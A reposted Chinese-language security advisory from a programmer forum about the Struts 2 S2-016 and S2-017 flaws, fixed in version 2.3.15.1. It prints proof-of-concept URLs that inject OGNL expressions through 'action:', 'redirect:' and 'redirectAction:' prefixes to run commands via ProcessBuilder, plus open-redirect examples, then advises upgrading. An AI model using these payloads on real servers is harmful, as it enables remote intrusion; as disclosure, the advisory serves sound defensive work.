Struts2重要漏洞_JAVA_编程开发_程序员俱乐部

中国优秀的程序员网站程序员频道CXYCLUB技术地图
热搜:
更多>>
 
您所在的位置: 程序员俱乐部 > 编程开发 > JAVA > Struts2重要漏洞

Struts2重要漏洞

 2013/7/19 18:58:07  javaWolf_1  程序员俱乐部  我要评论(0)
  • 摘要:转载:Struts2被曝重要漏洞,波及全系版本ApacheStruts团队6月底发布了Struts2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts2.3.15.1安全更新版本。该版本修复的主要安全漏洞如下:1.通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀,以实现远程代码执行,如下:代码http://host/struts2-blank/example/X.action?action:%25{
  • 标签:重要 漏洞 struts

转载:?Struts2被曝重要漏洞,波及全系版本

Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。?


该版本修复的主要安全漏洞如下:?

1.? 通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀,以实现远程代码执行,如下:?

代码?
    class="dp-default" style="margin-bottom: 1px; padding-top: 2px; padding-bottom: 2px; border: 1px solid #d1d7dc; background-color: #ffffff; color: #2b91af;">
  1. http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}??
  2. ??
  3. http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}??
  4. ??
  5. http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}??


?


2.? 通过在参数前面加上“redirect:”/“redirectAction:”前缀,以实现开放式重定向,如下:?

代码?
  1. http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/??
  2. ??
  3. http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23??




详细漏洞信息:?

  • http://struts.apache.org/release/2.3.x/docs/s2-016.html
  • http://struts.apache.org/release/2.3.x/docs/s2-017.html
  • http://struts.apache.org/release/2.3.x/docs/version-notes-23151.html
建议开发者将所有Struts 2应用程序升级至最新版本。?

如果你从其他分支迁移至2.3.x分支,需要注意,该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。?

下载地址:http://struts.apache.org/
发表评论
用户名: 匿名